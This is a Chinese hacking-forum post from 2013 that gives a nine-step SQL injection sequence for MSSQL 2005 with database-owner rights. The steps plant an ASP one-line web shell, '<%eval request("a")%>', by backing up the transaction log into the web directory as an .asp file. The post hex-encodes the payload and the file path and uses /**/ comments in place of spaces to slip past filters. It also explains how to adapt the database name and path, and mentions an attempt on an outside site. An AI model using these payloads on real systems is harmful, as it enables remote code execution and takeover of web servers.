找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3024|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。   s/ Q- [* i' l  k2 c

7 H# W$ ~# W2 P8 S" D ! k! r) j7 Y! ?! x2 n5 h
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
* i6 \) I' z5 \ + d; j5 i+ R3 z
第一步 * {( y( G6 u2 o5 f9 T
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- ' g* P( k; c1 G/ |7 q" l

' t) g0 k; S- u, {' T1 L. h第二步: : G$ |- Z5 O* C
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- . \0 G( l4 _  |

6 E/ g7 L8 k9 g. S" p* S* L, c1 L第三步 2 J- P2 l/ }  R: ^- \' r! p
;drop/**/table/**/[itpro]--
2 L  b1 n$ X, ~% n* n
* k" I/ G6 \1 D* A第四步
, k4 J& s) C9 C$ H' N;create/**/table/**/[itpro]([a]/**/image)-- 5 |- @! C" p7 r" s7 E8 q
5 |. M7 w3 H- d8 W
第五步
# I0 L; f. `6 o1 H+ {! a& P2 Z;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 1 t1 n) F3 k3 ?$ o6 L6 M% I- l
, z: Y6 K" y" t, x6 {
第六步
0 c! E1 X( g- T: C7 n;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)-- " V% s& M/ Q+ N
3 L+ t5 v% E% d
第七步
+ h$ z+ y. s- q;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- , B5 g  g" A$ E/ I

. t/ R- B0 C; x+ q% J第八步
& S6 D' \- V; r  g; o  D6 t: r;drop/**/table/**/[itpro]--
4 _8 l- \6 I1 [- \
0 ?8 f1 R/ j  U! B9 S第九步
+ U5 j. |7 b: G2 D;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
/ r' a  z! ]9 K# k + w; D/ R2 I' F: T+ u$ J3 ~5 ?( k
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。
( g0 v' i: C! O7 W2 M6 Y2 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表